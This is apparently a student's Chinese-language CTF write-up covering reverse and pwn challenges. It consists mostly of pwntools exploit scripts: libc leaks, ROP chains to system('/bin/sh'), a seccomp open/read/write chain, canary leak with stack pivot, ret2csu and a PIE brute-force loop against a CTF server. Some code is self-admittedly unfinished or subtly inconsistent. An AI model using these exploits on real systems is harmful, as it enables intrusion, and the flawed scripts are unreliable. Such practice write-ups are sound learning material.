目录
arrayRE
考察的是逆向能力,可是逆向的脚本我不会写...QAQ
strcmp(a,b):比较字符串a,b,
如果相同,返回0;
比较ASCII码,a>b,返回正数,a<b,返回负数
给出了一个输入的范围,输入这个范围内的s,然后把一串数字赋给了s2,进行判断,if(1)可执行if语句,如果s和s2的前25个数字相等,就可以执行sh
逆向的脚本
#arr[i+1]_ = (35*arr_[i] + 18*(arr_[i] + i + 2) + arr[i+1] + 3) % 10
from unicodedata import decimal
s = "831654239123423452610584"
def encrypt(x,y,i):
return (35*x + 18*( x + i) + 2 + y + 3 ) %10
arr=[]
for i in s:
arr.append(int(i))
ans = [8]*24
for i in range(0,23):
for j in range(10):
if(encrypt(arr[i],j,i) == arr[i+1]):
ans[i+1] = j
for i in ans:
print(i,end='')
from pwn import*
p=remote('43.143.7.97',28908)
#p=process('./arrayRE')
p.recvuntil('user name:')
p.sendline('aa')
p.recvuntil('password:')
p.send(str(849282549522298884940009))
p.interactive()
intorw
orw是程序禁用了system,execve等系统调用,只可以调用open,read,write等函数,就和普通的rop差不多,用seccomp-tools可以查看系统允许调用的函数
bitschange函数会将v2从int型转换为unsigned int型,输入-1就会使v3变成一个很大的数字,从而造成缓冲区溢出,可以利用vuln函数泄露Libc,再返回vuln函数执行orw
exp:
from pwn import *
context.log_level='debug'
p=process('./intorw')
elf=ELF('./intorw')
libc=ELF('./libc.so.6')
pop_rdi=0x0400ad3 #ROPgadget --binary intorw --only "pop|ret"
pop_rsi_r15=0x00400ad1
puts_got=0x00600FC0
puts_plt=0x00400760
read_got=0x600FD8
vuln=0x04009c4
ret=0x0400726
pop_addr=0x0400ACA
mov_addr=0x00400AB0
flag=0x0601046 #通过gift的地址数出来的
bss=0x0601100
p.recvuntil('Please enter how many bits you want to read')
p.sendline('-1') #造成溢出
p.recvuntil('Please enter what you want to read:')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print ("puts_addr:",hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print ("libc_base:",hex(libc_base))
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
sys=libc_base+libc.sym['system']
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read'] #执行orw
p.recvuntil('Please enter how many bits you want to read') #重新回到vuln函数,此时已经通过vuln泄露函数的地址和偏移
p.sendline('-1')
gdb.attach(p)
pause()
p.recvuntil('Please enter what you want to read:')
payload=b'a'*0x28+p64(pop_rdi)+p64(flag)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_addr)
payload+=p64(pop_addr)+p64(0)+p64(1)+p64(read_got)+p64(0x3)+p64(bss)+p64(0x30)+p64(mov_addr)+b'a'*(0x8+8*6)
payload+=p64(pop_rdi)+p64(bss)+p64(puts_plt) #这个payload太长了,我还没懂
p.sendline(payload)
p.interactive()
pivot:
考察的是canary绕过,栈迁移,当程序开启canary时,不知道canary的值,就无法进行rop劫持程序流程,
canary绕过有两种方式,一是爆破,二是通过格式化漏洞输出canary并利用溢出覆盖canary从而达到绕过
这篇博客栈迁移感觉讲的很不错,
栈迁移的原因是想要栈溢出去get shell,但是栈的空间不够,所以需要ret跳转到一个我们设置好的地址,即栈迁移
可以确定一个大概的思路是通过printf函数泄露canary,将canary值打印出来,这里需要用到gdb调试,写入aaaa去看看canary的具体位置,然后通过寄存器是返回地址为函数重新开始的位置,再使用rop泄露函数地址,接下来返回地址再回到函数开头,想利用栈溢出传递shell,可是空间不够,就用到了栈迁移,借用寄存器使函数返回到具体位置进行getshell,
from pwn import*
p=process('./pivot')
libc=ELF('./libc.so.6')
context.log_level='debug'
#泄露canary
p.recvuntil('Name:')
start_addr=0x0004010D0
pop_rdi=0x00401343
ret=0x0040101a
leave_ret=0x00401213
payload='a'*0x29
p.send(payload)
p.recvuntil(payload)
canary=u64(p.recv(7).rjust(8,b'\x00'))
print ('canary=',hex(canary))
payload=b'a'*0x108+p64(canary)+b'a'*8+p64(start_addr)
p.send(payload)
#泄露libc,函数地址
p.recvuntil('Name:\n')
payload='a'*0x38
p.send(payload)
p.recvuntil(payload)
__libc_start_call_main=u64(p.recv(6).ljust(8,b'\x00'))-128
print ("__libc_start_call_main=",hex(__libc_start_call_main))
libc_base=__libc_start_call_main-0x29d10
print ("libc_base=",hex(libc_base))
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
print ("sys=",hex(sys))
payload=b'a'*0x108+p64(canary)+b'a'*8+p64(start_addr)
p.send(payload)
#通过rop getshell
p.recvuntil('Name:\n')
#gdb.attach(p)
#pause()
payload='a'*0x58
p.send(payload)
p.recvuntil(payload)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print ("stack=",hex(stack))
buf=stack-0x268
print("buf_addr=",hex(buf))
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
payload=payload.ljust(0x108,b'a')
payload+=p64(canary)+p64(buf)+p64(leave_ret)
p.sendline(payload)
p.interactive()
呜呜呜只能确定大概的思路了,exp具体咋写的,,我的gdb还没玩熟练,下次再补充
ret2csu
考查知识点,ret2csu,只需要控制寄存器就行了,用gdb查一下需要的寄存器的位置
from pwn import*
p=remote('43.143.7.97',28653)
libc=ELF('./libc.so.6')
write_got=0x404018
main_addr=0x04011DC
pop_addr=0x04012AA
mov_addr=0x00401290
pop_rdi=0x04012b3
ret=0x040101a
payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)# 这个是brop
p.recvuntil('Input:\n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)#这个是rop
p.recvuntil('Input:\n')
p.sendline(payload)
p.interactive()
ret2text
考察partial overwrite,程序开启了pie,但是后三个地址是可确定的,倒数第四个地址不能确定,有1/16的机会对,写一个程序,自动运行
就是一个简单的栈溢出,但是因为地址随机化,所以需要用到pie绕过的知识
from pwn import *
# context.log_level='debug'
elf=ELF('./ret2text')
while True:
try:
r=remote("43.143.7.97",28400)
#r=process('./ret2text')
r.recvuntil("It's a easy challenge")
payload=b'a'*0x108+b'\xe3\x51'#大端序存储
#gdb.attach(r)
r.send(payload)
r.interactive()
except:
r.close()
Continue
这个题好气,gdb想看看为什么第四位不一样,结果一直不行,后面问了学长才知道这个是22版本的,16的不行...但是通过学长的gdb也知道了倒数第四位的地址是随机化的
嘶,暂且先这样吧,后面的沙箱有点难呀,等放假回家找个时间再写!